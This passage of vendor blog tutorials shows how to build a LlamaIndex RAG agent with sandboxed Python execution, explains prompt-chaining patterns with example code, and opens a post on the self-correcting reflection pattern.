FunctionTool.from_defaults( fn=execute_python, name="python_executor", description="""Execute Python code in a secure sandbox. Use for calculations, data analysis, and any computational task. The sandbox has pandas, numpy, matplotlib, scipy installed. Always print() results you want to see.""" ) ``` ## Step 2: Build a RAG Index Create a simple vector index from documents: ```python from llama_index.core import VectorStoreIndex, Document, Settings from llama_index.llms.openai import OpenAI from llama_index.embeddings.openai import OpenAIEmbedding # Configure LlamaIndex Settings.llm = OpenAI(model="gpt-4o", temperature=0) Settings.embed_model = OpenAIEmbedding(model="text-embedding-3-small") # Sample documents (replace with your data) documents = [ Document(text=""" Q3 2024 Financial Report Revenue: $2.4 million Operating Expenses: $1.8 million Net Profit: $600,000 Year-over-year revenue growth: 18% Customer acquisition: 450 new customers Churn rate: 3.2% Key metrics: - Average revenue per user (ARPU): $89 - Customer lifetime value (LTV): $2,340 - Customer acquisition cost (CAC): $156 """), Document(text=""" Industry Benchmarks 2024 SaaS Industry Average Metrics: - Revenue growth: 12% YoY - Churn rate: 5.2% - ARPU: $75 - LTV/CAC ratio: 3:1 Top quartile performance: - Revenue growth: >15% - Churn rate: <3% - LTV/CAC ratio: >4:1 """), Document(text=""" Customer Segments Analysis Enterprise (>1000 employees): - 45 customers - $450 ARPU - 1.5% churn Mid-Market (100-1000 employees): - 180 customers - $120 ARPU - 2.8% churn SMB (<100 employees): - 675 customers - $45 ARPU - 4.1% churn """) ] # Create index index = VectorStoreIndex.from_documents(documents) ``` ## Step 3: Create a Query Engine Tool Wrap the index as a tool the agent can use: ```python from llama_index.core.tools import QueryEngineTool # Create query engine query_engine = index.as_query_engine(similarity_top_k=3) # Wrap as tool rag_tool = QueryEngineTool.from_defaults( query_engine=query_engine, name="company_knowledge", description="""Search the company knowledge base for information about: - Financial metrics and reports - Industry benchmarks - Customer segments - Performance data Use this to find specific facts before doing calculations.""" ) ``` ## Step 4: Build the Agent Combine RAG and code execution in an agent: ```python from llama_index.core.agent import ReActAgent # Create agent with both tools agent = ReActAgent.from_tools( tools=[rag_tool, python_tool], llm=Settings.llm, verbose=True, max_iterations=10 ) # Test it response = agent.chat( "What was our Q3 revenue and how does it compare to industry average? " "Calculate the exact percentage difference." ) print(response) ``` Example output: ``` Thought: I need to find our Q3 revenue and the industry average, then calculate the comparison. Action: company_knowledge Action Input: {"input": "Q3 2024 revenue"} Observation: Q3 revenue was $2.4 million with 18% YoY growth... Action: company_knowledge Action Input: {"input": "industry average revenue growth"} Observation: SaaS industry average revenue growth is 12% YoY... Action: python_executor Action Input: {"code": "our_growth = 18\nindustry_avg = 12\ndiff = our_growth - industry_avg\npercentage_better = (diff / industry_avg) * 100\nprint(f'Difference: {diff} percentage points')\nprint(f'We outperform by: {percentage_better:.1f}%')"} Observation: Difference: 6 percentage points We outperform by: 50.0% Answer: Our Q3 revenue was $2.4 million with 18% year-over-year growth. Compared to the industry average of 12%, we outperform by 6 percentage points, which represents a 50% better growth rate than the industry benchmark. ``` ## Step 5: Persistent Sandbox for Complex Analysis For multi-step analyses, use a persistent sandbox: ```python from llama_index.core.tools import FunctionTool from hopx import Sandbox from typing import Optional class PersistentSandbox: """Manage a persistent sandbox for multi-step analysis.""" _instance: Optional['PersistentSandbox'] = None def __init__(self): self.sandbox: Optional[Sandbox] = None @classmethod def get(cls) -> 'PersistentSandbox': if cls._instance is None: cls._instance = cls() return cls._instance def execute(self, code: str) -> str: if self.sandbox is None: self.sandbox = Sandbox.create(template="code-interpreter", ttl=600) result = self.sandbox.runCode(code, language="python", timeout=60) if result.exitCode == 0: return result.stdout or "Executed (no output)" return f"Error: {result.stderr}" def cleanup(self): if self.sandbox: self.sandbox.kill() self.sandbox = None def execute_python_persistent(code: str) -> str: """ Execute Python with persistent state. Variables and imports persist between calls. """ return PersistentSandbox.get().execute(code) persistent_python = FunctionTool.from_defaults( fn=execute_python_persistent, name="python_persistent", description="""Execute Python code with PERSISTENT STATE. Variables, DataFrames, and imports persist between calls. Use this for multi-step analysis where you need to build on previous results. """ ) ``` ## Step 6: Data Analysis Agent Build a specialized agent for data analysis: ```python from llama_index.core.agent import ReActAgent from llama_index.core.tools import FunctionTool from hopx import Sandbox import json # Data upload tool def upload_data(filename: str, data: str) -> str: """ Upload CSV data to the sandbox for analysis. Args: filename: Name for the file (e.g., 'sales.csv') data: CSV content as a string """ sandbox = PersistentSandbox.get() if sandbox.sandbox is None: sandbox.sandbox = Sandbox.create(template="code-interpreter", ttl=600) sandbox.sandbox.files.write(f"/app/{filename}", data) return f"Uploaded {filename} to /app/{filename}" upload_tool = FunctionTool.from_defaults( fn=upload_data, name="upload_data", description="Upload CSV data to sandbox. Provide filename and CSV content." ) # Create data analysis agent data_agent = ReActAgent.from_tools( tools=[rag_tool, persistent_python, upload_tool], llm=Settings.llm, verbose=True, system_prompt="""You are a data analyst assistant. When analyzing data: 1. First check if relevant context exists in the knowledge base 2. Upload data files as needed using upload_data 3. Use python_persistent for multi-step analysis (state persists!) 4. Always show your calculations and explain your methodology 5. Create visualizations when helpful (save to /app/chart.png) For calculations, always use Python to ensure accuracy.""" ) # Example usage response = data_agent.chat(""" Here's our monthly revenue data: month,revenue,customers Jan,180000,520 Feb,195000,545 Mar,210000,580 Apr,225000,610 May,240000,650 Jun,260000,695 Upload this data and analyze: 1. Calculate month-over-month growth rates 2. What's the average growth rate? 3. Project July revenue based on the trend 4. Compare to industry benchmark from our knowledge base """) print(response) ``` ## Advanced: Sub-Question Query Engine For complex queries, break them into sub-questions: ```python from llama_index.core.query_engine import SubQuestionQueryEngine from llama_index.core.tools import QueryEngineTool, ToolMetadata # Multiple specialized indices financial_index = VectorStoreIndex.from_documents(financial_docs) customer_index = VectorStoreIndex.from_documents(customer_docs) market_index = VectorStoreIndex.from_documents(market_docs) # Create query engine tools query_engine_tools = [ QueryEngineTool( query_engine=financial_index.as_query_engine(), metadata=ToolMetadata( name="financial_data", description="Financial reports, revenue, expenses, profits" ) ), QueryEngineTool( query_engine=customer_index.as_query_engine(), metadata=ToolMetadata( name="customer_data", description="Customer segments, churn, acquisition metrics" ) ), QueryEngineTool( query_engine=market_index.as_query_engine(), metadata=ToolMetadata( name="market_data", description="Industry benchmarks, competitor analysis, market trends" ) ) ] # Create sub-question query engine sub_question_engine = SubQuestionQueryEngine.from_defaults( query_engine_tools=query_engine_tools ) # Wrap as tool for agent sub_question_tool = QueryEngineTool.from_defaults( query_engine=sub_question_engine, name="comprehensive_search", description="""Search across all company data sources. Use for complex questions that span multiple topics. Automatically breaks down into sub-questions.""" ) # Create powerful agent comprehensive_agent = ReActAgent.from_tools( tools=[sub_question_tool, persistent_python], llm=Settings.llm, verbose=True ) ``` ## Multi-Document Analysis with Code Analyze documents and compute insights: ```python from llama_index.core import SimpleDirectoryReader from llama_index.core.node_parser import SentenceSplitter # Load documents documents = SimpleDirectoryReader("./data/reports/").load_data() # Parse into nodes parser = SentenceSplitter(chunk_size=512, chunk_overlap=50) nodes = parser.get_nodes_from_documents(documents) # Create index index = VectorStoreIndex(nodes) # Agent for document analysis doc_analysis_agent = ReActAgent.from_tools( tools=[ QueryEngineTool.from_defaults( query_engine=index.as_query_engine(), name="document_search", description="Search uploaded documents for information" ), persistent_python ], llm=Settings.llm, verbose=True, system_prompt="""You are a document analysis agent. Your workflow: 1. Search documents to extract relevant data points 2. Use Python to compute statistics, comparisons, trends 3. Always verify calculations by showing the code 4. Provide data-driven conclusions When extracting numbers from documents, use Python to validate and compute.""" ) ``` ## Structured Output with Code Validation Ensure accuracy by validating with code: ```python from llama_index.core.tools import FunctionTool from pydantic import BaseModel from typing import List class FinancialAnalysis(BaseModel): revenue: float growth_rate: float profit_margin: float industry_comparison: str recommendations: List[str] def validated_analysis(query: str) -> str: """ Perform financial analysis with code validation. Retrieves data, computes metrics in sandbox, returns validated results. """ sandbox = PersistentSandbox.get() # Step 1: Query for raw data raw_data = query_engine.query(query) # Step 2: Validate and compute in sandbox validation_code = f''' import json # Parse extracted values (from RAG) raw_text = """{raw_data}""" # Extract and validate numbers import re numbers = re.findall(r'\$?([\d,]+(?:\.\d+)?)\s*(?:million|M)?', raw_text) numbers = [float(n.replace(',', '')) for n in numbers] # Compute derived metrics if len(numbers) >= 2: revenue = numbers[0] if 'million' in raw_text.lower(): revenue *= 1_000_000 # Calculate metrics analysis = {{ "revenue": revenue, "extracted_values": numbers, "validation": "passed" if revenue > 0 else "failed" }} print(json.dumps(analysis, indent=2)) else: print(json.dumps({{"error": "Could not extract values"}})) ''' result = sandbox.execute(validation_code) return result validation_tool = FunctionTool.from_defaults( fn=validated_analysis, name="validated_financial_analysis", description="Perform validated financial analysis with code verification" ) ``` ## Complete Working Example Here's a production-ready implementation: ```python """ LlamaIndex RAG Agent with HopX Code Execution """ from llama_index.core import VectorStoreIndex, Document, Settings from llama_index.core.agent import ReActAgent from llama_index.core.tools import FunctionTool, QueryEngineTool from llama_index.llms.openai import OpenAI from llama_index.embeddings.openai import OpenAIEmbedding from hopx import Sandbox from typing import Optional import os # Verify environment assert os.environ.get("OPENAI_API_KEY"), "Set OPENAI_API_KEY" assert os.environ.get("HOPX_API_KEY"), "Set HOPX_API_KEY" # Configure LlamaIndex Settings.llm = OpenAI(model="gpt-4o", temperature=0) Settings.embed_model = OpenAIEmbedding() class SandboxManager: """Singleton sandbox manager.""" _sandbox: Optional[Sandbox] = None @classmethod def execute(cls, code: str) -> str: if cls._sandbox is None: cls._sandbox = Sandbox.create(template="code-interpreter", ttl=600) result = cls._sandbox.runCode(code, language="python", timeout=60) return result.stdout if result.exitCode == 0 else f"Error: {result.stderr}" @classmethod def cleanup(cls): if cls._sandbox: cls._sandbox.kill() cls._sandbox = None def python_executor(code: str) -> str: """Execute Python code with persistent state.""" return SandboxManager.execute(code) def create_rag_agent(documents: list) -> ReActAgent: """Create a RAG agent with code execution.""" # Build index index = VectorStoreIndex.from_documents( [Document(text=d) for d in documents] ) # Tools tools = [ QueryEngineTool.from_defaults( query_engine=index.as_query_engine(), name="knowledge_base", description="Search the knowledge base for information" ), FunctionTool.from_defaults( fn=python_executor, name="python", description="Execute Python for calculations. State persists." ) ] return ReActAgent.from_tools( tools=tools, llm=Settings.llm, verbose=True, system_prompt="""You are an analytical assistant. 1. Search knowledge base for facts 2. Use Python for all calculations 3. Always verify numbers with code 4. Explain your methodology""" ) # Example usage if __name__ == "__main__": docs = [ "Q3 2024: Revenue $2.4M, Growth 18%, Profit margin 25%", "Industry benchmark: Average growth 12%, Top quartile >15%", "Customers: 900 total, 45 enterprise ($450 ARPU), 675 SMB ($45 ARPU)" ] agent = create_rag_agent(docs) try: response = agent.chat( "What's our revenue per customer segment? " "Calculate the contribution of each segment." ) print("\n" + "="*50) print(response) finally: SandboxManager.cleanup() ``` ## Best Practices ### 1. Query First, Compute Second ```python # Good pattern: # 1. Retrieve facts from RAG # 2. Compute with Python # 3. Synthesize response # Don't hallucinate numbers - always verify with code ``` ### 2. Use Persistent Sandbox for Multi-Step ```python # For complex analysis: step1 = agent.chat("Load the sales data and show structure") step2 = agent.chat("Calculate monthly averages") # Uses same sandbox step3 = agent.chat("Create visualization") # State persists ``` ### 3. Validate RAG Extractions ```python # After RAG retrieval, validate numbers: validation_code = f""" extracted_value = {value} # Sanity checks assert extracted_value > 0, "Value should be positive" assert extracted_value < 1e12, "Value seems too large" print(f"Validated: {extracted_value}") """ ``` ### 4. Clean Up Resources ```python try: result = agent.chat(query) finally: SandboxManager.cleanup() ``` ## Conclusion LlamaIndex + HopX enables agents that: - **Retrieve** facts from your documents - **Compute** accurate answers with Python - **Validate** numbers through code execution - **Persist** state for complex analyses No more hallucinated calculations. Your agent can reason about data with the precision of code. --- Ready to add code execution to your RAG app? [Get started with HopX](https://console.hopx.ai) — sandboxes that spin up in 100ms. ## Further Reading - [LangChain Tools with Secure Execution](/blog/tutorials/langchain-tools-secure-code-execution) — LangChain integration - [Vercel AI SDK Streaming](/blog/tutorials/vercel-ai-sdk-streaming-code-execution) — Streaming responses - [LlamaIndex Documentation](https://docs.llamaindex.ai/) — Official docs - [Build a Code Interpreter](/blog/ai-agents/build-code-interpreter-openai-hopx) — Full tutorial --- ## Prompt Chaining: How to Build Sequential AI Workflows URL: https://hopx.ai/blog/ai-agents/prompt-chaining-sequential-ai-workflows/ Category: AI Agents Published: 2025-11-26 # Prompt Chaining: How to Build Sequential AI Workflows You've hit the wall. Your single prompt is getting longer, more complex, and increasingly unreliable. The LLM sometimes nails it, sometimes completely misses. Sound familiar? **Prompt chaining** is the solution: break your mega-prompt into smaller, focused steps where each LLM call does one thing well. This guide shows you how to build reliable prompt chains, when to use them, and how to avoid the common pitfalls that trip up most developers. ## What Is Prompt Chaining? Prompt chaining connects multiple LLM calls in sequence. The output of one prompt becomes the input for the next: ``` ┌─────────────┐ ┌─────────────┐ ┌─────────────┐ │ Prompt 1 │───▶│ Prompt 2 │───▶│ Prompt 3 │ │ Extract │ │ Transform │ │ Format │ └─────────────┘ └─────────────┘ └─────────────┘ │ │ │ ▼ ▼ ▼ Raw Data Structured Final Output Data ``` Instead of asking the LLM to do everything at once: ``` ❌ "Read this document, extract the key points, translate them to Spanish, summarize each point, and format as a newsletter" ``` You break it into steps: ``` ✅ Step 1: "Extract key points from this document" Step 2: "Translate these points to Spanish" Step 3: "Summarize each point in one sentence" Step 4: "Format these summaries as a newsletter" ``` Each step is simpler, more reliable, and easier to debug. ## Why Prompt Chaining Works ### 1. Reduced Cognitive Load LLMs perform better on focused tasks. A prompt that does one thing well consistently outperforms a prompt trying to juggle five things. **Research insight**: Studies show LLM accuracy drops significantly as task complexity increases. Breaking a 5-step task into 5 prompts can improve overall accuracy by 20-40%. ### 2. Debuggability When something goes wrong in a monolithic prompt, good luck figuring out where. With chains, you can inspect each intermediate output: ```python # Easy to debug step1_output = extract_entities(document) # Check: Are entities correct? step2_output = classify_entities(step1_output) # Check: Are classifications correct? step3_output = generate_summary(step2_output) # Check: Is summary accurate? ``` ### 3. Reusability Chain steps become building blocks. Your "translate to Spanish" step works in any pipeline: ```python # Reuse across different workflows translate_step = TranslatePrompt(target_language="Spanish") workflow_a = Chain([extract, translate_step, summarize]) workflow_b = Chain([user_input, translate_step, respond]) ``` ### 4. Cost Optimization You can use smaller, cheaper models for simpler steps and reserve expensive models for complex reasoning: ```python chain = [ Step("Extract dates", model="gpt-3.5-turbo"), # Simple extraction: cheap model Step("Parse to ISO format", model="gpt-3.5-turbo"), # Formatting: cheap model Step("Analyze timeline", model="gpt-4o"), # Complex reasoning: powerful model ] ``` ## Basic Prompt Chain Implementation Here's a minimal but complete implementation: ```python import openai from dataclasses import dataclass @dataclass class ChainStep: name: str prompt_template: str model: str = "gpt-4o" class PromptChain: def __init__(self, steps: list[ChainStep]): self.steps = steps self.client = openai.OpenAI() self.trace = [] # For debugging def run(self, initial_input: str) -> str: current_input = initial_input for step in self.steps: # Format prompt with current input prompt = step.prompt_template.format(input=current_input) # Call LLM response = self.client.chat.completions.create( model=step.model, messages=[{"role": "user", "content": prompt}] ) output = response.choices[0].message.content # Save trace for debugging self.trace.append({ "step": step.name, "input": current_input[:200], # Truncate for readability "output": output[:200] }) # Output becomes next input current_input = output return current_input def debug(self): """Print execution trace""" for i, step in enumerate(self.trace): print(f"\n{'='*50}") print(f"Step {i+1}: {step['step']}") print(f"Input: {step['input']}...") print(f"Output: {step['output']}...") # Usage chain = PromptChain([ ChainStep( name="Extract", prompt_template="Extract all person names from this text:\n\n{input}" ), ChainStep( name="Deduplicate", prompt_template="Remove duplicates from this list of names:\n\n{input}" ), ChainStep( name="Format", prompt_template="Format these names as a numbered list:\n\n{input}" ) ]) result = chain.run("John met Sarah at the coffee shop. Sarah introduced John to Mike...") print(result) chain.debug() # See what happened at each step ``` Output: ``` 1. John 2. Sarah 3. Mike ================================================== Step 1: Extract Input: John met Sarah at the coffee shop. Sarah introduced John to Mike... Output: John, Sarah, John, Mike, Sarah... ================================================== Step 2: Deduplicate Input: John, Sarah, John, Mike, Sarah... Output: John, Sarah, Mike... ================================================== Step 3: Format Input: John, Sarah, Mike... Output: 1. John 2. Sarah 3. Mike... ``` ## Real-World Example: Document Processing Pipeline Let's build a practical document processing chain that: 1. Extracts key information 2. Validates the extraction 3. Transforms to structured data 4. Generates a summary ```python from hopx import Sandbox import openai import json class DocumentProcessor: def __init__(self): self.client = openai.OpenAI() def process(self, document: str) -> dict: # Step 1: Extract key information extracted = self._extract(document) # Step 2: Validate extraction (with code execution) validated = self._validate(extracted) # Step 3: Structure the data structured = self._structure(validated) # Step 4: Generate summary summary = self._summarize(structured) return { "extracted": extracted, "validated": validated, "structured": structured, "summary": summary } def _extract(self, document: str) -> str: """Step 1: Extract key entities and facts""" response = self.client.chat.completions.create( model="gpt-4o", messages=[{ "role": "system", "content": """Extract the following from the document: - People mentioned (with roles) - Dates and deadlines - Action items - Key decisions Format as a structured list.""" }, { "role": "user", "content": document }] ) return response.choices[0].message.content def _validate(self, extracted: str) -> str: """Step 2: Validate with code execution""" sandbox = Sandbox.create(template="code-interpreter") try: # Use code to validate dates, check for inconsistencies validation_code = f''' import re from datetime import datetime text = """{extracted}""" # Find all dates date_patterns = [ r'\d{{1,2}}/\d{{1,2}}/\d{{4}}', r'\d{{4}}-\d{{2}}-\d{{2}}', r'(January|February|March|April|May|June|July|August|September|October|November|December)\s+\d{{1,2}},?\s+\d{{4}}' ] dates_found = [] for pattern in date_patterns: dates_found.extend(re.findall(pattern, text)) # Check for potential issues issues = [] if len(dates_found) == 0: issues.append("No dates found - verify manually") # Output validation result print("VALIDATION RESULT") print(f"Dates found: {{dates_found}}") print(f"Issues: {{issues if issues else 'None'}}") print("---") print(text) ''' sandbox.files.write("/app/validate.py", validation_code) result = sandbox.commands.run("python /app/validate.py") return result.stdout finally: sandbox.kill() def _structure(self, validated: str) -> dict: """Step 3: Convert to structured JSON""" response = self.client.chat.completions.create( model="gpt-4o", messages=[{ "role": "system", "content": """Convert this information to JSON with the schema: { "people": [{"name": "", "role": ""}], "dates": [{"date": "", "event": ""}], "action_items": [{"task": "", "owner": "", "due": ""}], "decisions": [""] }""" }, { "role": "user", "content": validated }], response_format={"type": "json_object"} ) return json.loads(response.choices[0].message.content) def _summarize(self, structured: dict) -> str: """Step 4: Generate executive summary""" response = self.client.chat.completions.create( model="gpt-4o", messages=[{ "role": "system", "content": "Write a 2-3 sentence executive summary of this meeting/document." }, { "role": "user", "content": json.dumps(structured, indent=2) }] ) return response.choices[0].message.content # Usage processor = DocumentProcessor() result = processor.process(""" Meeting Notes - Product Launch Planning Date: January 15, 2025 Attendees: Sarah Chen (PM), Mike Johnson (Engineering Lead), Lisa Park (Marketing) Discussion: Sarah presented the launch timeline. Target launch date is March 1, 2025. Mike raised concerns about the API stability - needs 2 more weeks of testing. Lisa confirmed marketing materials will be ready by February 15. Decisions: - Soft launch to beta users on February 20 - Full public launch on March 1 - Mike to own the stability testing Action Items: - Mike: Complete API load testing by February 1 - Lisa: Finalize press release by February 10 - Sarah: Coordinate with sales team by January 20 """) print(json.dumps(result, indent=2)) ``` ## Prompt Chaining Patterns ### Pattern 1: Linear Chain The simplest pattern—each step feeds into the next: ``` Input → [A] → [B] → [C] → Output ``` ```python def linear_chain(text): extracted = extract(text) translated = translate(extracted) formatted = format_output(translated) return formatted ``` **Best for**: Sequential transformations, document processing, data pipelines. ### Pattern 2: Branching Chain Different paths based on intermediate results: ``` ┌─[B1]─┐ Input → [A]─┤ ├─[D]→ Output └─[B2]─┘ ``` ```python def branching_chain(text): classification = classify(text) if classification == "technical": processed = technical_processor(text) else: processed = general_processor(text) return finalize(processed) ``` **Best for**: Content routing, specialized processing, conditional logic. ### Pattern 3: Parallel Chain Multiple independent steps that merge: ``` ┌─[A]─┐ Input ──┼─[B]─┼── Merge → Output └─[C]─┘ ``` ```python import concurrent.futures def parallel_chain(text): with concurrent.futures.ThreadPoolExecutor() as executor: future_summary = executor.submit(summarize, text) future_entities = executor.submit(extract_entities, text) future_sentiment = executor.submit(analyze_sentiment, text) summary = future_summary.result() entities = future_entities.result() sentiment = future_sentiment.result() return merge_results(summary, entities, sentiment) ``` **Best for**: Independent analyses, multi-perspective processing, speed optimization. ### Pattern 4: Iterative Chain (Loop) Repeat until a condition is met: ``` ┌──────────────┐ ▼ │ Input → [Process] → [Check] ──(not done)──┘ │ (done) ▼ Output ``` ```python def iterative_chain(text, max_iterations=5): current = text for i in range(max_iterations): # Process improved = improve(current) # Check if good enough score = evaluate(improved) if score > 0.9: return improved current = improved return current ``` **Best for**: Refinement tasks, quality improvement, self-correction. ### Pattern 5: Fallback Chain Try multiple approaches, use first success: ``` Input → [A] ──(fail)──→ [B] ──(fail)──→ [C] → Output │ │ │ (success) (success) (success) ▼ ▼ ▼ Output Output Output ``` ```python def fallback_chain(text): strategies = [ ("precise", precise_extract), ("fuzzy", fuzzy_extract), ("llm_only", llm_extract) ] for name, strategy in strategies: try: result = strategy(text) if validate(result): return result except Exception as e: print(f"{name} failed: {e}") continue raise ValueError("All strategies failed") ``` **Best for**: Robust systems, graceful degradation, handling edge cases. ## Adding Code Execution to Chains Many chain steps benefit from actual code execution—not just LLM reasoning. This is where sandboxed execution becomes essential: ```python from hopx import Sandbox import openai class CodeAugmentedChain: def __init__(self): self.client = openai.OpenAI() def analyze_data(self, data_description: str, question: str) -> dict: """ Chain: 1. LLM generates analysis code 2. Code executes in sandbox 3. LLM interprets results """ # Step 1: Generate analysis code code = self._generate_code(data_description, question) # Step 2: Execute in sandbox execution_result = self._execute_code(code) # Step 3: Interpret results interpretation = self._interpret_results(question, execution_result) return { "code": code, "raw_output": execution_result, "interpretation": interpretation } def _generate_code(self, data_description: str, question: str) -> str: response = self.client.chat.completions.create( model="gpt-4o", messages=[{ "role": "system", "content": """Generate Python code to analyze data and answer the question. Use pandas for data manipulation. Print results clearly. Do not use plt.show() - save plots to files instead.""" }, { "role": "user", "content": f"Data: {data_description}\n\nQuestion: {question}" }] ) # Extract code from response content = response.choices[0].message.content if "```python" in content: code = content.split("```python")[1].split("```")[0] else: code = content return code.strip() def _execute_code(self, code: str) -> str: sandbox = Sandbox.create(template="code-interpreter") try: # Install required packages sandbox.commands.run("pip install pandas numpy -q") # Write and execute code sandbox.files.write("/app/analysis.py", code) result = sandbox.commands.run("python /app/analysis.py") if result.exit_code != 0: return f"ERROR:\n{result.stderr}" return result.stdout finally: sandbox.kill() def _interpret_results(self, question: str, raw_output: str) -> str: response = self.client.chat.completions.create( model="gpt-4o", messages=[{ "role": "system", "content": "Interpret these analysis results in plain English. Be specific and cite numbers." }, { "role": "user", "content": f"Question: {question}\n\nAnalysis Output:\n{raw_output}" }] ) return response.choices[0].message.content # Usage chain = CodeAugmentedChain() result = chain.analyze_data( data_description="CSV file at /app/sales.csv with columns: date, product, revenue, units_sold", question="What was the best-selling product in Q4 2024?" ) ``` ## Error Handling in Chains Chains fail. Here's how to handle it gracefully: ```python from dataclasses import dataclass from typing import Optional import traceback @dataclass class ChainResult: success: bool output: Optional[str] failed_step: Optional[str] error: Optional[str] partial_results: dict class RobustChain: def __init__(self, steps: list): self.steps = steps def run(self, initial_input: str) -> ChainResult: current_input = initial_input partial_results = {} for step in self.steps: try: output = step.execute(current_input) partial_results[step.name] = output current_input = output except Exception as e: return ChainResult( success=False, output=None, failed_step=step.name, error=f"{type(e).__name__}: {str(e)}\n{traceback.format_exc()}", partial_results=partial_results ) return ChainResult( success=True, output=current_input, failed_step=None, error=None, partial_results=partial_results ) # With retry logic class RetryableChain(RobustChain): def run(self, initial_input: str, max_retries: int = 3) -> ChainResult: current_input = initial_input partial_results = {} for step in self.steps: for attempt in range(max_retries): try: output = step.execute(current_input) partial_results[step.name] = output current_input = output break # Success, move to next step except Exception as e: if attempt == max_retries - 1: return ChainResult( success=False, output=None, failed_step=step.name, error=str(e), partial_results=partial_results ) # Wait before retry (exponential backoff) import time time.sleep(2 ** attempt) return ChainResult( success=True, output=current_input, failed_step=None, error=None, partial_results=partial_results ) ``` ## When NOT to Use Prompt Chaining Chaining isn't always the answer. Avoid it when: | Scenario | Why Chaining Hurts | Better Alternative | |----------|-------------------|-------------------| | **Simple, single-step task** | Unnecessary complexity | Single prompt | | **Highly interdependent reasoning** | Context loss between steps | Long-context model | | **Real-time latency requirements** | Each step adds latency | Cached/precomputed | | **Very short inputs** | Overhead exceeds benefit | Single prompt | | **Exploratory/creative tasks** | Structure kills creativity | Open-ended prompt | ### Signs You're Over-Chaining - Each step is trivial (could be done with string formatting) - You're passing the same context through every step - The chain is slower than a single smart prompt - Steps are so coupled they always fail/succeed together ## Performance Optimization ### 1. Parallelize Independent Steps ```python import asyncio async def optimized_chain(text): # These can run in parallel summary_task = asyncio.create_task(summarize(text)) entities_task = asyncio.create_task(extract_entities(text)) summary, entities = await asyncio.gather(summary_task, entities_task) # This depends on previous results final = await generate_report(summary, entities) return final ``` ### 2. Use Smaller Models for Simple Steps ```python steps = [ Step("Format cleanup", model="gpt-3.5-turbo"), # Simple Step("Entity extraction", model="gpt-3.5-turbo"), # Pattern matching Step("Complex reasoning", model="gpt-4o"), # Needs power Step("Final formatting", model="gpt-3.5-turbo"), # Simple ] # Cost: ~60% less than using gpt-4o for everything ``` ### 3. Cache Repeated Steps ```python from functools import lru_cache import hashlib @lru_cache(maxsize=1000) def cached_step(input_hash: str, step_name: str) -> str: # Actual processing pass def chain_with_cache(text): input_hash = hashlib.md5(text.encode()).hexdigest() # Check cache first cached = cached_step(input_hash, "extract") if cached: return cached # Process and cache result = extract(text) cached_step.cache_info() # Store result return result ``` ### 4. Stream Long Chains ```python async def streaming_chain(text): """Yield results as each step completes""" yield {"step": "extract", "status": "starting"} extracted = await extract(text) yield {"step": "extract", "status": "complete", "preview": extracted[:100]} yield {"step": "transform", "status": "starting"} transformed = await transform(extracted) yield {"step": "transform", "status": "complete", "preview": transformed[:100]} yield {"step": "format", "status": "starting"} final = await format_output(transformed) yield {"step": "format", "status": "complete", "result": final} ``` ## Prompt Chaining vs. Agent Loops Don't confuse chaining with [agentic systems](/blog/ai-agents/what-is-an-ai-agent): | Prompt Chaining | Agent Loops | |----------------|-------------| | Fixed sequence of steps | Dynamic, decides next step | | Predictable execution path | Unpredictable path | | Faster, cheaper | More flexible, expensive | | Easier to debug | Harder to debug | | Best for known workflows | Best for open-ended tasks | **Use chaining when** you know the steps upfront. **Use agents when** the LLM needs to figure out the steps. Many production systems combine both: an agent that decides *what* to do, then triggers *chains* to do it. ## Building Your First Chain: Quickstart ```python # Install # pip install openai hopx from openai import OpenAI client = OpenAI() def chain_step(prompt: str, input_text: str, model: str = "gpt-4o") -> str: """Single chain step""" response = client.chat.completions.create( model=model, messages=[{"role": "user", "content": f"{prompt}\n\nInput:\n{input_text}"}] ) return response.choices[0].message.content # Your first chain text = "The quick brown fox jumps over the lazy dog. This is a sample text." step1 = chain_step("Count the words in this text", text) step2 = chain_step("Is this count correct? Verify.", step1) step3 = chain_step("Summarize your findings in one sentence.", step2) print(step3) ``` Once you're comfortable, add: 1. Error handling 2. Logging/tracing 3. Parallel execution 4. Code execution with [sandboxes](/blog/ai-agents/why-ai-agents-need-isolated-code-execution) --- ## Conclusion Prompt chaining transforms unreliable mega-prompts into robust, debuggable pipelines: - **Break complex tasks** into focused steps - **Debug easily** by inspecting intermediate outputs - **Optimize costs** by using right-sized models per step - **Build reusable** components for multiple workflows Start simple—a 2-3 step chain. Add complexity only when needed. The best chains feel invisible: they just work, every time. --- Ready to add code execution to your chains? [Get started with HopX](https://console.hopx.ai) — sandboxes that spin up in 100ms. ## Further Reading - [What Is an AI Agent?](/blog/ai-agents/what-is-an-ai-agent) — Understanding the difference between chains and agents - [Multi-Agent Architectures with HopX](/blog/deep-dives/multi-agent-architectures-with-hopx) — When single chains aren't enough - [Streaming Code Execution for Agents](/blog/tutorials/streaming-code-execution-for-agents) — Real-time output from chain steps - [LangChain Documentation](https://python.langchain.com/docs/modules/chains/) — Popular framework for building chains --- ## The Reflection Pattern: Building Self-Correcting AI Systems URL: https://hopx.ai/blog/ai-agents/reflection-pattern-self-correcting-ai/ Category: AI Agents Published: 2025-11-26 # The Reflection Pattern: Building Self-Correcting AI Systems Here's a uncomfortable truth: your LLM's first answer is rarely its best answer. Ask GPT-4 to write code, and it works—mostly. Ask it to review that same code, and it finds bugs. Ask it to fix those bugs, and you get better code. This isn't magic. It's the **reflection pattern**. Reflection is simple: make the AI critique its own work, then improve based on that critique. The result? Dramatically better outputs with minimal extra cost. ## What Is the Reflection Pattern? Reflection adds a self-review loop to AI generation: ``` ┌─────────────────────────────────────────────────────────────┐ │ │ │ ┌──────────┐ ┌──────────┐ ┌──────────┐ │ │ │ Generate │───▶│ Critique │───▶│ Improve │────┐ │ │ └──────────┘ └──────────┘ └──────────┘ │ │ │ │ │ │ │ ▼ │ │ │ ┌──────────┐ │ │ │ │Good │ │ │ │ No ◄──│Enough? │ │ │ │ └──────────┘ │ │ │ │Yes │ │ │ ▼ │ │ │ Output │ │ │ │ │ │ ◄────────────────────────────────────────────────┘ │ │ (iterate) │ └─────────────────────────────────────────────────────────────┘ ``` Instead of: ``` User → LLM → Output ``` You get: ``` User → LLM → Draft → LLM (critic) → Feedback → LLM → Improved → ... → Final Output ``` The same model that makes mistakes can often catch those mistakes when asked to look again with fresh eyes. ## Why Reflection Works ### 1. Different Prompts Activate Different Capabilities When you ask an LLM to "write code," it's in generation mode—optimizing for producing something that looks right. When you ask it to "review this code for bugs," it's in analysis mode—optimizing for finding problems. These are different cognitive tasks that activate different patterns in the model. ### 2. Reduced Cognitive Load Generating AND critiquing simultaneously is hard. Separating them lets the model focus: | Single Pass | With Reflection | |-------------|-----------------| | Generate correct code | Generate code (any code) | | While avoiding bugs | Then: Find 